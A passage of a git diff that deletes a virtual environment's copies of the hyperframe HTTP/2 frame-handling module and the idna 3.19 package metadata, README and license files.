present if possibly zero-valued. - padding_len = self.pad_length + 1 - return len(self.data) + padding_len - - -class PriorityFrame(Priority, Frame): - """ - The PRIORITY frame specifies the sender-advised priority of a stream. It - can be sent at any time for an existing stream. This enables - reprioritisation of existing streams. - """ - - #: The flags defined for PRIORITY frames. - defined_flags: list[Flag] = [] - - #: The type byte defined for PRIORITY frames. - type = 0x02 - - stream_association = _STREAM_ASSOC_HAS_STREAM - - def _body_repr(self) -> str: - return f"exclusive={self.exclusive}, depends_on={self.depends_on}, stream_weight={self.stream_weight}" - - def serialize_body(self) -> bytes: - return self.serialize_priority_data() - - def parse_body(self, data: memoryview) -> None: - if len(data) > 5: - msg = f"PRIORITY must have 5 byte body: actual length {len(data)}." - raise InvalidFrameError(msg) - - self.parse_priority_data(data) - self.body_len = 5 - - -class RstStreamFrame(Frame): - """ - The RST_STREAM frame allows for abnormal termination of a stream. When sent - by the initiator of a stream, it indicates that they wish to cancel the - stream or that an error condition has occurred. When sent by the receiver - of a stream, it indicates that either the receiver is rejecting the stream, - requesting that the stream be cancelled or that an error condition has - occurred. - """ - - #: The flags defined for RST_STREAM frames. - defined_flags: list[Flag] = [] - - #: The type byte defined for RST_STREAM frames. - type = 0x03 - - stream_association = _STREAM_ASSOC_HAS_STREAM - - def __init__(self, stream_id: int, error_code: int = 0, **kwargs: Any) -> None: - super().__init__(stream_id, **kwargs) - - #: The error code used when resetting the stream. - self.error_code = error_code - - def _body_repr(self) -> str: - return f"error_code={self.error_code}" - - def serialize_body(self) -> bytes: - return _STRUCT_L.pack(self.error_code) - - def parse_body(self, data: memoryview) -> None: - if len(data) != 4: - msg = f"RST_STREAM must have 4 byte body: actual length {len(data)}." - raise InvalidFrameError(msg) - - try: - self.error_code = _STRUCT_L.unpack(data)[0] - except struct.error as err: # pragma: no cover - msg = "Invalid RST_STREAM body" - raise InvalidFrameError(msg) from err - - self.body_len = 4 - - -class SettingsFrame(Frame): - """ - The SETTINGS frame conveys configuration parameters that affect how - endpoints communicate. The parameters are either constraints on peer - behavior or preferences. - - Settings are not negotiated. Settings describe characteristics of the - sending peer, which are used by the receiving peer. Different values for - the same setting can be advertised by each peer. For example, a client - might set a high initial flow control window, whereas a server might set a - lower value to conserve resources. - """ - - #: The flags defined for SETTINGS frames. - defined_flags = [Flag("ACK", 0x01)] - - #: The type byte defined for SETTINGS frames. - type = 0x04 - - stream_association = _STREAM_ASSOC_NO_STREAM - - # We need to define the known settings, they may as well be class - # attributes. - #: The byte that signals the SETTINGS_HEADER_TABLE_SIZE setting. - HEADER_TABLE_SIZE = 0x01 - #: The byte that signals the SETTINGS_ENABLE_PUSH setting. - ENABLE_PUSH = 0x02 - #: The byte that signals the SETTINGS_MAX_CONCURRENT_STREAMS setting. - MAX_CONCURRENT_STREAMS = 0x03 - #: The byte that signals the SETTINGS_INITIAL_WINDOW_SIZE setting. - INITIAL_WINDOW_SIZE = 0x04 - #: The byte that signals the SETTINGS_MAX_FRAME_SIZE setting. - MAX_FRAME_SIZE = 0x05 - #: The byte that signals the SETTINGS_MAX_HEADER_LIST_SIZE setting. - MAX_HEADER_LIST_SIZE = 0x06 - #: The byte that signals SETTINGS_ENABLE_CONNECT_PROTOCOL setting. - ENABLE_CONNECT_PROTOCOL = 0x08 - - def __init__(self, stream_id: int = 0, settings: dict[int, int] | None = None, **kwargs: Any) -> None: - super().__init__(stream_id, **kwargs) - - if settings and "ACK" in kwargs.get("flags", ()): - msg = "Settings must be empty if ACK flag is set." - raise InvalidDataError(msg) - - #: A dictionary of the setting type byte to the value of the setting. - self.settings: dict[int, int] = settings or {} - - def _body_repr(self) -> str: - return f"settings={self.settings}" - - def serialize_body(self) -> bytes: - return b"".join([_STRUCT_HL.pack(setting & 0xFF, value) - for setting, value in self.settings.items()]) - - def parse_body(self, data: memoryview) -> None: - if "ACK" in self.flags and len(data) > 0: - msg = f"SETTINGS ack frame must not have payload: got {len(data)} bytes" - raise InvalidDataError(msg) - - body_len = 0 - for i in range(0, len(data), 6): - try: - name, value = _STRUCT_HL.unpack(data[i:i+6]) - except struct.error as err: - msg = "Invalid SETTINGS body" - raise InvalidFrameError(msg) from err - - self.settings[name] = value - body_len += 6 - - self.body_len = body_len - - -class PushPromiseFrame(Padding, Frame): - """ - The PUSH_PROMISE frame is used to notify the peer endpoint in advance of - streams the sender intends to initiate. - """ - - #: The flags defined for PUSH_PROMISE frames. - defined_flags = [ - Flag("END_HEADERS", 0x04), - Flag("PADDED", 0x08), - ] - - #: The type byte defined for PUSH_PROMISE frames. - type = 0x05 - - stream_association = _STREAM_ASSOC_HAS_STREAM - - def __init__(self, stream_id: int, promised_stream_id: int = 0, data: bytes = b"", **kwargs: Any) -> None: - super().__init__(stream_id, **kwargs) - - #: The stream ID that is promised by this frame. - self.promised_stream_id = promised_stream_id - - #: The HPACK-encoded header block for the simulated request on the new - #: stream. - self.data = data - - def _body_repr(self) -> str: - return f"promised_stream_id={self.promised_stream_id}, data={_raw_data_repr(self.data)}" - - def serialize_body(self) -> bytes: - padding_data = self.serialize_padding_data() - padding = b"\0" * self.pad_length - data = _STRUCT_L.pack(self.promised_stream_id) - return b"".join([padding_data, data, self.data, padding]) - - def parse_body(self, data: memoryview) -> None: - padding_data_length = self.parse_padding_data(data) - - try: - self.promised_stream_id = _STRUCT_L.unpack( - data[padding_data_length:padding_data_length + 4], - )[0] - except struct.error as err: - msg = "Invalid PUSH_PROMISE body" - raise InvalidFrameError(msg) from err - - self.data = ( - data[padding_data_length + 4:len(data)-self.pad_length].tobytes() - ) - self.body_len = len(data) - - if self.promised_stream_id == 0 or self.promised_stream_id % 2 != 0: - msg = f"Invalid PUSH_PROMISE promised stream id: {self.promised_stream_id}" - raise InvalidDataError(msg) - - if self.pad_length and self.pad_length >= self.body_len: - msg = "Padding is too long." - raise InvalidPaddingError(msg) - - -class PingFrame(Frame): - """ - The PING frame is a mechanism for measuring a minimal round-trip time from - the sender, as well as determining whether an idle connection is still - functional. PING frames can be sent from any endpoint. - """ - - #: The flags defined for PING frames. - defined_flags = [Flag("ACK", 0x01)] - - #: The type byte defined for PING frames. - type = 0x06 - - stream_association = _STREAM_ASSOC_NO_STREAM - - def __init__(self, stream_id: int = 0, opaque_data: bytes = b"", **kwargs: Any) -> None: - super().__init__(stream_id, **kwargs) - - #: The opaque data sent in this PING frame, as a bytestring. - self.opaque_data = opaque_data - - def _body_repr(self) -> str: - return f"opaque_data={self.opaque_data!r}" - - def serialize_body(self) -> bytes: - if len(self.opaque_data) > 8: - msg = f"PING frame may not have more than 8 bytes of data, got {len(self.opaque_data)}" - raise InvalidFrameError(msg) - - data = self.opaque_data - data += b"\x00" * (8 - len(self.opaque_data)) - return data - - def parse_body(self, data: memoryview) -> None: - if len(data) != 8: - msg = f"PING frame must have 8 byte length: got {len(data)}" - raise InvalidFrameError(msg) - - self.opaque_data = data.tobytes() - self.body_len = 8 - - -class GoAwayFrame(Frame): - """ - The GOAWAY frame informs the remote peer to stop creating streams on this - connection. It can be sent from the client or the server. Once sent, the - sender will ignore frames sent on new streams for the remainder of the - connection. - """ - - #: The flags defined for GOAWAY frames. - defined_flags: list[Flag] = [] - - #: The type byte defined for GOAWAY frames. - type = 0x07 - - stream_association = _STREAM_ASSOC_NO_STREAM - - def __init__(self, - stream_id: int = 0, - last_stream_id: int = 0, - error_code: int = 0, - additional_data: bytes = b"", - **kwargs: Any) -> None: - super().__init__(stream_id, **kwargs) - - #: The last stream ID definitely seen by the remote peer. - self.last_stream_id = last_stream_id - - #: The error code for connection teardown. - self.error_code = error_code - - #: Any additional data sent in the GOAWAY. - self.additional_data = additional_data - - def _body_repr(self) -> str: - return f"last_stream_id={self.last_stream_id}, error_code={self.error_code}, additional_data={self.additional_data!r}" - - def serialize_body(self) -> bytes: - data = _STRUCT_LL.pack( - self.last_stream_id & 0x7FFFFFFF, - self.error_code, - ) - data += self.additional_data - - return data - - def parse_body(self, data: memoryview) -> None: - try: - self.last_stream_id, self.error_code = _STRUCT_LL.unpack( - data[:8], - ) - except struct.error as err: - msg = "Invalid GOAWAY body." - raise InvalidFrameError(msg) from err - - self.body_len = len(data) - - if len(data) > 8: - self.additional_data = data[8:].tobytes() - - -class WindowUpdateFrame(Frame): - """ - The WINDOW_UPDATE frame is used to implement flow control. - - Flow control operates at two levels: on each individual stream and on the - entire connection. - - Both types of flow control are hop by hop; that is, only between the two - endpoints. Intermediaries do not forward WINDOW_UPDATE frames between - dependent connections. However, throttling of data transfer by any receiver - can indirectly cause the propagation of flow control information toward the - original sender. - """ - - #: The flags defined for WINDOW_UPDATE frames. - defined_flags: list[Flag] = [] - - #: The type byte defined for WINDOW_UPDATE frames. - type = 0x08 - - stream_association = _STREAM_ASSOC_EITHER - - def __init__(self, stream_id: int, window_increment: int = 0, **kwargs: Any) -> None: - super().__init__(stream_id, **kwargs) - - #: The amount the flow control window is to be incremented. - self.window_increment = window_increment - - def _body_repr(self) -> str: - return f"window_increment={self.window_increment}" - - def serialize_body(self) -> bytes: - return _STRUCT_L.pack(self.window_increment & 0x7FFFFFFF) - - def parse_body(self, data: memoryview) -> None: - if len(data) > 4: - msg = f"WINDOW_UPDATE frame must have 4 byte length: got {len(data)}" - raise InvalidFrameError(msg) - - try: - self.window_increment = _STRUCT_L.unpack(data)[0] - except struct.error as err: - msg = "Invalid WINDOW_UPDATE body" - raise InvalidFrameError(msg) from err - - if not 1 <= self.window_increment <= 2**31-1: - msg = "WINDOW_UPDATE increment must be between 1 to 2^31-1" - raise InvalidDataError(msg) - - self.body_len = 4 - - -class HeadersFrame(Padding, Priority, Frame): - """ - The HEADERS frame carries name-value pairs. It is used to open a stream. - HEADERS frames can be sent on a stream in the "open" or "half closed - (remote)" states. - - The HeadersFrame class is actually basically a data frame in this - implementation, because of the requirement to control the sizes of frames. - A header block fragment that doesn't fit in an entire HEADERS frame needs - to be followed with CONTINUATION frames. From the perspective of the frame - building code the header block is an opaque data segment. - """ - - #: The flags defined for HEADERS frames. - defined_flags = [ - Flag("END_STREAM", 0x01), - Flag("END_HEADERS", 0x04), - Flag("PADDED", 0x08), - Flag("PRIORITY", 0x20), - ] - - #: The type byte defined for HEADERS frames. - type = 0x01 - - stream_association = _STREAM_ASSOC_HAS_STREAM - - def __init__(self, stream_id: int, data: bytes = b"", **kwargs: Any) -> None: - super().__init__(stream_id, **kwargs) - - #: The HPACK-encoded header block. - self.data = data - - def _body_repr(self) -> str: - return f"exclusive={self.exclusive}, depends_on={self.depends_on}, stream_weight={self.stream_weight}, data={_raw_data_repr(self.data)}" - - def serialize_body(self) -> bytes: - padding_data = self.serialize_padding_data() - padding = b"\0" * self.pad_length - - if "PRIORITY" in self.flags: - priority_data = self.serialize_priority_data() - else: - priority_data = b"" - - return b"".join([padding_data, priority_data, self.data, padding]) - - def parse_body(self, data: memoryview) -> None: - padding_data_length = self.parse_padding_data(data) - data = data[padding_data_length:] - - if "PRIORITY" in self.flags: - priority_data_length = self.parse_priority_data(data) - else: - priority_data_length = 0 - - self.body_len = len(data) - self.data = ( - data[priority_data_length:len(data)-self.pad_length].tobytes() - ) - - if self.pad_length and self.pad_length >= self.body_len: - msg = "Padding is too long." - raise InvalidPaddingError(msg) - - -class ContinuationFrame(Frame): - """ - The CONTINUATION frame is used to continue a sequence of header block - fragments. Any number of CONTINUATION frames can be sent on an existing - stream, as long as the preceding frame on the same stream is one of - HEADERS, PUSH_PROMISE or CONTINUATION without the END_HEADERS flag set. - - Much like the HEADERS frame, hyper treats this as an opaque data frame with - different flags and a different type. - """ - - #: The flags defined for CONTINUATION frames. - defined_flags = [Flag("END_HEADERS", 0x04)] - - #: The type byte defined for CONTINUATION frames. - type = 0x09 - - stream_association = _STREAM_ASSOC_HAS_STREAM - - def __init__(self, stream_id: int, data: bytes = b"", **kwargs: Any) -> None: - super().__init__(stream_id, **kwargs) - - #: The HPACK-encoded header block. - self.data = data - - def _body_repr(self) -> str: - return f"data={_raw_data_repr(self.data)}" - - def serialize_body(self) -> bytes: - return self.data - - def parse_body(self, data: memoryview) -> None: - self.data = data.tobytes() - self.body_len = len(data) - - -class AltSvcFrame(Frame): - """ - The ALTSVC frame is used to advertise alternate services that the current - host, or a different one, can understand. This frame is standardised as - part of RFC 7838. - - This frame does no work to validate that the ALTSVC field parameter is - acceptable per the rules of RFC 7838. - - .. note:: If the ``stream_id`` of this frame is nonzero, the origin field - must have zero length. Conversely, if the ``stream_id`` of this - frame is zero, the origin field must have nonzero length. Put - another way, a valid ALTSVC frame has ``stream_id != 0`` XOR - ``len(origin) != 0``. - """ - - type = 0x0A - - stream_association = _STREAM_ASSOC_EITHER - - def __init__(self, stream_id: int, origin: bytes = b"", field: bytes = b"", **kwargs: Any) -> None: - super().__init__(stream_id, **kwargs) - - if not isinstance(origin, bytes): - msg = "AltSvc origin must be a bytestring." - raise InvalidDataError(msg) - if not isinstance(field, bytes): - msg = "AltSvc field must be a bytestring." - raise InvalidDataError(msg) - self.origin = origin - self.field = field - - def _body_repr(self) -> str: - return f"origin={self.origin!r}, field={self.field!r}" - - def serialize_body(self) -> bytes: - origin_len = _STRUCT_H.pack(len(self.origin)) - return b"".join([origin_len, self.origin, self.field]) - - def parse_body(self, data: memoryview) -> None: - try: - origin_len = _STRUCT_H.unpack(data[0:2])[0] - self.origin = data[2:2+origin_len].tobytes() - - if len(self.origin) != origin_len: - msg = "Invalid ALTSVC frame body." - raise InvalidFrameError(msg) - - self.field = data[2+origin_len:].tobytes() - except (struct.error, ValueError) as err: - msg = "Invalid ALTSVC frame body." - raise InvalidFrameError(msg) from err - - self.body_len = len(data) - - -class ExtensionFrame(Frame): - """ - ExtensionFrame is used to wrap frames which are not natively interpretable - by hyperframe. - - Although certain byte prefixes are ordained by specification to have - certain contextual meanings, frames with other prefixes are not prohibited, - and may be used to communicate arbitrary meaning between HTTP/2 peers. - - Thus, hyperframe, rather than raising an exception when such a frame is - encountered, wraps it in a generic frame to be properly acted upon by - upstream consumers which might have additional context on how to use it. - - .. versionadded:: 5.0.0 - """ - - stream_association = _STREAM_ASSOC_EITHER - - def __init__(self, type: int, stream_id: int, flag_byte: int = 0x0, body: bytes = b"", **kwargs: Any) -> None: # noqa: A002 - super().__init__(stream_id, **kwargs) - self.type = type - self.flag_byte = flag_byte - self.body = body - - def _body_repr(self) -> str: - return f"type={self.type}, flag_byte={self.flag_byte}, body={_raw_data_repr(self.body)}" - - def parse_flags(self, flag_byte: int) -> None: # type: ignore - """ - For extension frames, we parse the flags by just storing a flag byte. - """ - self.flag_byte = flag_byte - - def parse_body(self, data: memoryview) -> None: - self.body = data.tobytes() - self.body_len = len(data) - - def serialize(self) -> bytes: - """ - A broad override of the serialize method that ensures that the data - comes back out exactly as it came in. This should not be used in most - user code: it exists only as a helper method if frames need to be - reconstituted. - """ - # Build the frame header. - # First, get the flags. - flags = self.flag_byte - - header = _STRUCT_HBBBL.pack( - (self.body_len >> 8) & 0xFFFF, # Length spread over top 24 bits - self.body_len & 0xFF, - self.type, - flags, - self.stream_id & 0x7FFFFFFF, # Stream ID is 32 bits. - ) - - return header + self.body - - -def _raw_data_repr(data: bytes | None) -> str: - if not data: - return "None" - r = binascii.hexlify(data).decode("ascii") - if len(r) > 20: - r = r[:20] + "..." - return "" - - -_FRAME_CLASSES: list[type[Frame]] = [ - DataFrame, - HeadersFrame, - PriorityFrame, - RstStreamFrame, - SettingsFrame, - PushPromiseFrame, - PingFrame, - GoAwayFrame, - WindowUpdateFrame, - ContinuationFrame, - AltSvcFrame, -] -#: FRAMES maps the type byte for each frame to the class used to represent that -#: frame. -FRAMES = {cls.type: cls for cls in _FRAME_CLASSES} diff --git a/venv/Lib/site-packages/hyperframe/py.typed b/venv/Lib/site-packages/hyperframe/py.typed deleted file mode 100644 index e69de29bb2d1d6434b8b29ae775ad8c2e48c5391..0000000000000000000000000000000000000000 diff --git a/venv/Lib/site-packages/idna-3.19.dist-info/INSTALLER b/venv/Lib/site-packages/idna-3.19.dist-info/INSTALLER deleted file mode 100644 index a1b589e38a32041e49332e5e81c2d363dc418d68..0000000000000000000000000000000000000000 --- a/venv/Lib/site-packages/idna-3.19.dist-info/INSTALLER +++ /dev/null @@ -1 +0,0 @@ -pip diff --git a/venv/Lib/site-packages/idna-3.19.dist-info/METADATA b/venv/Lib/site-packages/idna-3.19.dist-info/METADATA deleted file mode 100644 index 06dd41d435ac8d4e8b5ee95098efd9c9071b16d9..0000000000000000000000000000000000000000 --- a/venv/Lib/site-packages/idna-3.19.dist-info/METADATA +++ /dev/null @@ -1,209 +0,0 @@ -Metadata-Version: 2.5 -Name: idna -Version: 3.19 -Summary: Internationalized Domain Names in Applications (IDNA) -Author-email: Kim Davies -Requires-Python: >=3.9 -Description-Content-Type: text/markdown -License-Expression: BSD-3-Clause -Classifier: Development Status :: 5 - Production/Stable -Classifier: Intended Audience :: Developers -Classifier: Intended Audience :: System Administrators -Classifier: Operating System :: OS Independent -Classifier: Programming Language :: Python -Classifier: Programming Language :: Python :: 3 -Classifier: Programming Language :: Python :: 3 :: Only -Classifier: Programming Language :: Python :: 3.9 -Classifier: Programming Language :: Python :: 3.10 -Classifier: Programming Language :: Python :: 3.11 -Classifier: Programming Language :: Python :: 3.12 -Classifier: Programming Language :: Python :: 3.13 -Classifier: Programming Language :: Python :: 3.14 -Classifier: Programming Language :: Python :: Implementation :: CPython -Classifier: Programming Language :: Python :: Implementation :: PyPy -Classifier: Topic :: Internet :: Name Service (DNS) -Classifier: Topic :: Software Development :: Libraries :: Python Modules -Classifier: Topic :: Utilities -License-File: LICENSE.md -Requires-Dist: ruff >= 0.16.0 ; extra == "all" -Requires-Dist: mypy >= 1.11.2 ; extra == "all" -Requires-Dist: ty >= 0.0.37 ; extra == "all" -Requires-Dist: pytest >= 8.3.2 ; extra == "all" -Requires-Dist: hypothesis >= 6.141.1 ; extra == "all" -Requires-Dist: coverage >= 7.10.0 ; extra == "all" -Project-URL: Changelog, https://github.com/kjd/idna/blob/master/HISTORY.md -Project-URL: Issue tracker, https://github.com/kjd/idna/issues -Project-URL: Source, https://github.com/kjd/idna -Provides-Extra: all -Import-Name: idna - -# Internationalized Domain Names in Applications (IDNA) - -Support for [Internationalized Domain Names in Applications -(IDNA)](https://tools.ietf.org/html/rfc5891) and [Unicode IDNA -Compatibility Processing](https://unicode.org/reports/tr46/). It -supersedes the standard library's `encodings.idna`, which only -implements the 2003 specification, offering broader script coverage and -limiting domains with known security vulnerabilities. - -## Usage - -Package may be installed from [PyPI](https://pypi.org/project/idna/) via -the typical methods (e.g. `python3 -m pip install idna`) - -For typical usage, the `encode` and `decode` functions will take a -domain name argument and perform a conversion to ASCII-compatible encoding -(known as A-labels), or to Unicode strings (known as U-labels) -respectively. - -```pycon ->>> import idna ->>> idna.encode('ドメイン.テスト') -b'xn--eckwd4c7c.xn--zckzah' ->>> print(idna.decode('xn--eckwd4c7c.xn--zckzah')) -ドメイン.テスト -``` - -Conversions can be applied at a per-label basis using the `ulabel` or -`alabel` functions for specialized use cases. - - -### Compatibility Mapping (UTS #46) - -This library provides support for [Unicode IDNA Compatibility -Processing](https://unicode.org/reports/tr46/) which normalizes input from -different potential ways a user may input a domain prior to performing the IDNA -conversion operations. This functionality, known as a -[mapping](https://tools.ietf.org/html/rfc5895), is considered by the -specification to be a local user-interface issue distinct from IDNA -conversion functionality. - -For example, "Königsgäßchen" is not a permissible label as capital letters -are not allowed. UTS #46 will convert this into lower case prior to applying -the IDNA conversion. - -```pycon ->>> import idna ->>> idna.encode('Königsgäßchen') -... -idna.core.InvalidCodepoint: Codepoint U+004B at position 1 of 'Königsgäßchen' not allowed ->>> idna.encode('Königsgäßchen', uts46=True) -b'xn--knigsgchen-b4a3dun' ->>> idna.decode('xn--knigsgchen-b4a3dun') -'königsgäßchen' -``` - -When performing a decode operation for display purposes, `decode()` -accepts a `display=True` argument that leaves any `xn--` label that -fails to decode unchanged. This is useful for user interface display -where a domain is in use, the A-label form can be presented when it -is not a valid IDN. - - -## Exceptions - -All errors raised during conversion derive from the `idna.IDNAError` -base class. The more specific exceptions are: - -* `idna.IDNABidiError` — raised when a label contains an illegal - combination of left-to-right and right-to-left characters. -* `idna.InvalidCodepoint` — raised when a label contains a codepoint - that is INVALID for IDNA. -* `idna.InvalidCodepointContext` — raised when a CONTEXTO or CONTEXTJ - codepoint appears in a position whose contextual requirements are - not satisfied. - -Exceptions carry machine-readable attributes so that applications -do not need to parse the message: `code` is a short, stable identifier -for the rule that failed (listed below); and, when the failure can be -attributed to a particular character, `text` (the label, or domain for -UTS #46 processing, being validated), `codepoint` (the offending -codepoint as an integer) and `position` (its 1-based index within -`text`, as quoted in the message) are set. Each is `None` when it does -not apply. Message wording is not part of the API and may change. - -```pycon ->>> try: -... idna.encode('Königsgäßchen') -... except idna.IDNAError as err: -... print(err.code, err.codepoint, err.position, err.text) -disallowed_codepoint 75 1 Königsgäßchen -``` - -| `code` | Meaning | -|---|---| -| `input_too_long` | Input exceeds the library's defensive length limit and was not processed | -| `label_too_long` | A label exceeds 63 octets | -| `domain_too_long` | The domain exceeds 253 octets | -| `empty_label` | A label is empty (e.g. consecutive dots) | -| `empty_domain` | The domain is empty | -| `not_nfc` | The label is not in Unicode Normalization Form C | -| `hyphen_3_4` | The label has hyphens in the 3rd and 4th positions | -| `hyphen_start_end` | The label starts or ends with a hyphen | -| `leading_combiner` | The label starts with a combining mark | -| `disallowed_codepoint` | A codepoint is DISALLOWED or UNASSIGNED under IDNA 2008 | -| `contextj` | A CONTEXTJ codepoint (joiner) appears in an invalid context | -| `contexto` | A CONTEXTO codepoint appears in an invalid context | -| `unknown_codepoint` | A codepoint next to a joiner is unknown to this Python's Unicode database | -| `bidi_rule_1` … `bidi_rule_6` | The corresponding rule of RFC 5893 (the Bidi Rule) is violated | -| `bidi_unknown_direction` | A codepoint's directionality is unknown to this Python's Unicode database | -| `invalid_alabel` | An `xn--` label is malformed or is not valid Punycode | -| `non_canonical_alabel` | An `xn--` label is not the canonical Punycode encoding of its U-label (a "fake A-label") | -| `invalid_ascii` | Byte input is not ASCII | -| `invalid_utf8` | Byte input is not UTF-8 | -| `uts46_disallowed` | A codepoint is disallowed by the UTS #46 mapping table | -| `uts46_std3` | An ASCII character is rejected by the UTS #46 STD3 rules | -| `unsupported_errors` | The codec was given an `errors` handler other than `strict` | - - -## Command-line tool - -The package supports command-line usage to convert domain names -between their Unicode and ASCII-compatible forms. It can be run either -as a module (`python3 -m idna`) or, once installed (such as with `uv -tool` or `pipx`), via the `idna` script: - -```bash -$ uv tool install idna -$ idna xn--e1afmkfd.xn--p1ai -пример.рф -$ idna пример.рф -xn--e1afmkfd.xn--p1ai -``` - -Mode can be specified with `-e`/`--encode` or `-d`/`--decode`, otherwise -it will be chosen automatically based on the first input. Multiple -domains can be supplied either as arguments or through standard input. -UTS #46 mapping is applied by default, which lets the tool accept -inputs that aren't strictly valid IDNA 2008 by normalising them first, -pass `--strict` to disable UTS #46. - -Conversion failures are reported on stderr together with the -offending input; processing continues with the remaining domains and -the tool exits with a non-zero status if any conversion failed. - - -## Additional Notes - -* **Python version support**. This library supports Python 3.9 and higher. - As this library serves as a low-level toolkit for a variety of - applications, we strive to support all versions of Python that are - not beyond end-of-life. Free-threaded Python is also supported, - as the library holds no mutable global state the functions can be - called concurrently from multiple threads. - -* **Unicode version**. The IDNA and UTS #46 lookup tables are generated - from a specific Unicode release. Some Unicode data depends on the - running Python's `unicodedata` module, so on an older Python a - character new to Unicode may be rejected as unknown even if this - library knows about it. - -* **Emoji**. It is an occasional request to support emoji domains in - this library. Encoding of symbols like emoji is expressly prohibited by - the IDNA technical standard, and emoji domains are broadly phased - out across the domain industry due to associated security risks. - -* **Regenerating lookup tables**. The IDNA and UTS #46 functionality - relies upon pre-calculated lookup tables, generated using the - `idna-data` script in [`tools/`](tools/README.md). - diff --git a/venv/Lib/site-packages/idna-3.19.dist-info/RECORD b/venv/Lib/site-packages/idna-3.19.dist-info/RECORD deleted file mode 100644 index 59d8ecb6cc63b05bd413fa13cfc40ca2bdb60e47..0000000000000000000000000000000000000000 --- a/venv/Lib/site-packages/idna-3.19.dist-info/RECORD +++ /dev/null @@ -1,29 +0,0 @@ -../../Scripts/idna.exe,sha256=PCpu7plfqlttCnwpJxwiZmlxkX8kCA2DYrYaxC_rHJQ,108387 -idna-3.19.dist-info/INSTALLER,sha256=zuuue4knoyJ-UwPPXg8fezS7VCrXJQrAP7zeNuwvFQg,4 -idna-3.19.dist-info/METADATA,sha256=TRExYayoWC6NKP3fPqUPGbYHIJwrPkNkN5oWNFRoAIQ,9160 -idna-3.19.dist-info/RECORD,, -idna-3.19.dist-info/REQUESTED,sha256=47DEQpj8HBSa-_TImW-5JCeuQeRkm5NMpJWZG3hSuFU,0 -idna-3.19.dist-info/WHEEL,sha256=_yMHPaBV-s6fQMwUoo83NSdTCM3c8xXWFXRhqafN-7Y,81 -idna-3.19.dist-info/entry_points.txt,sha256=7H3nGOHap3jnLE5e7q7Ywr9Vq8axB7WIj5-C_4N2vhw,38 -idna-3.19.dist-info/licenses/LICENSE.md,sha256=GppPDj1HmickDd1ZqRN6ZqtKD539yMphiMwL_YUYfwQ,1541 -idna/__init__.py,sha256=hRTD7VMTajWW699RL6SHu919pama3K7YLgNj0sMG068,944 -idna/__main__.py,sha256=4JMK66Wj4uLZTKbF-sT3LAxOsr6buig77PmOkJCRRxw,83 -idna/__pycache__/__init__.cpython-314.pyc,, -idna/__pycache__/__main__.cpython-314.pyc,, -idna/__pycache__/cli.cpython-314.pyc,, -idna/__pycache__/codec.cpython-314.pyc,, -idna/__pycache__/compat.cpython-314.pyc,, -idna/__pycache__/core.cpython-314.pyc,, -idna/__pycache__/idnadata.cpython-314.pyc,, -idna/__pycache__/intranges.cpython-314.pyc,, -idna/__pycache__/package_data.cpython-314.pyc,, -idna/__pycache__/uts46data.cpython-314.pyc,, -idna/cli.py,sha256=LgGXKiXmev37pdgkATwB6AiJORZTnA2zP3LzfEK4iWo,4245 -idna/codec.py,sha256=ca5Iu563D2eLGV6m4pfQbxkAN4zsxQwr0bcFoSzzUmc,5302 -idna/compat.py,sha256=T_eZXOUt0b5Tga56cPybQu9CCYK0FTK1mdiPb96na8A,1376 -idna/core.py,sha256=2fLLPi-dqcSU_7HiflAUQdOVz5wSqoMhyWVv2puw2g0,32505 -idna/idnadata.py,sha256=Af-mo8WBmkhAK6TyXKOQH88OX0mQNDKtdL7UWtQpppk,44862 -idna/intranges.py,sha256=g49scLSkqJtAhLmOODa7hVHriSjmb60tiTsEoocJdBI,1851 -idna/package_data.py,sha256=M1-YMMD2mjma51RkdmgX7ovtlNPplEsobiYpsTITzRs,21 -idna/py.typed,sha256=47DEQpj8HBSa-_TImW-5JCeuQeRkm5NMpJWZG3hSuFU,0 -idna/uts46data.py,sha256=qNitv6h6T3KoqfnjhtjMg-79TIj402TEgm6rolhIFWc,234034 diff --git a/venv/Lib/site-packages/idna-3.19.dist-info/REQUESTED b/venv/Lib/site-packages/idna-3.19.dist-info/REQUESTED deleted file mode 100644 index e69de29bb2d1d6434b8b29ae775ad8c2e48c5391..0000000000000000000000000000000000000000 diff --git a/venv/Lib/site-packages/idna-3.19.dist-info/WHEEL b/venv/Lib/site-packages/idna-3.19.dist-info/WHEEL deleted file mode 100644 index 707a4787f5ebf05d1c832043102e7ca502316980..0000000000000000000000000000000000000000 --- a/venv/Lib/site-packages/idna-3.19.dist-info/WHEEL +++ /dev/null @@ -1,4 +0,0 @@ -Wheel-Version: 1.0 -Generator: flit 4.0.2 -Root-Is-Purelib: true -Tag: py3-none-any diff --git a/venv/Lib/site-packages/idna-3.19.dist-info/entry_points.txt b/venv/Lib/site-packages/idna-3.19.dist-info/entry_points.txt deleted file mode 100644 index 59ca7ac02ea0a40938ca867305e020981f52a077..0000000000000000000000000000000000000000 --- a/venv/Lib/site-packages/idna-3.19.dist-info/entry_points.txt +++ /dev/null @@ -1,3 +0,0 @@ -[console_scripts] -idna=idna.cli:main - diff --git a/venv/Lib/site-packages/idna-3.19.dist-info/licenses/LICENSE.md b/venv/Lib/site-packages/idna-3.19.dist-info/licenses/LICENSE.md deleted file mode 100644 index f706835ab3a5dd709a6e1f57aee0a94ae1415df6..0000000000000000000000000000000000000000 --- a/venv/Lib/site-packages/idna-3.19.dist-info/licenses/LICENSE.md +++ /dev/null @@ -1,31 +0,0 @@ -BSD 3-Clause License - -Copyright (c) 2013-2026, Kim Davies and contributors. -All rights reserved. - -Redistribution and use in source and binary forms, with or without -modification, are permitted provided that the following conditions are -met: - -1. Redistributions of source code must retain the above copyright - notice, this list of conditions and the following disclaimer. - -2. Redistributions in binary form must reproduce the above copyright - notice, this list of conditions and the following disclaimer in the - documentation and/or other materials provided with the distribution. - -3. Neither the name of the copyright holder nor the names of its - contributors may be used to endorse or promote products derived from - this software without specific prior written permission. - -THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS -"AS IS" AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT -LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR -A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT -HOLDER OR CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, -SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT LIMITED -TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, DATA, OR -PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY THEORY OF -LIABILITY, WHETHER IN CONTRACT, 